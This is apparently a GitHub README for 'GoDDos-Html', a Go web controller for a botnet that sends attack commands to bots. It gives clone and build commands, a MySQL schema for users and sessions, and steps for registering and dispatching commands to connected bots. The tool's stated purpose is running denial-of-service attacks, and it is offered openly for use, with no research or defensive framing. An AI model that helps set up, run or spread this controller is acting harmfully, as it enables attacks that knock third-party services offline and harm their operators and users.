GoDDos-Html is a lightweight web-page botnet controller written in Go, designed for simplicity by sending attacks to the 'Bots' / 'Servers' through a web-interface.
- User Management: Authenticate and Register.
- Command Distribution: Send Distinct commands from the server to the bots.
- Secure Authentication: Utilizes password hashing and session management.
- Easy Setup: Straightforward steps to get started with minimal configuration.
To deploy and use GoDDos-Html, follow these steps:
You will need to Setup the mysql Database before running the ./web-controller Change Port and IP if need be on Line 35.
git clone https://github.com/Birdo1221/GoDDos-Html.git
cd GoDDos-Html
go build -o web-controller
./web-controller
CREATE DATABASE IF NOT EXISTS net1;
USE net1;
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
password_hash VARCHAR(60) NOT NULL
);
CREATE TABLE IF NOT EXISTS sessions (
id INT AUTO_INCREMENT PRIMARY KEY,
user_id INT NOT NULL,
FOREIGN KEY (user_id) REFERENCES users(id),
session_key VARCHAR(60) UNIQUE NOT NULL
);
Open your web browser and navigate to http://localhost:80. If you change the IP:PORT just head to that.
- Go + MySQL: Ensure Go and MySQL are installed and accessible.
- Database Configuration: Configure the database connection in the
initDB()
function.
- Register a user account to access the controller dashboard.
- Login with your credentials to access the dashboard.
- Use the dashboard to send commands to connected bots.
This project is licensed under the MIT License - see the LICENSE file for details.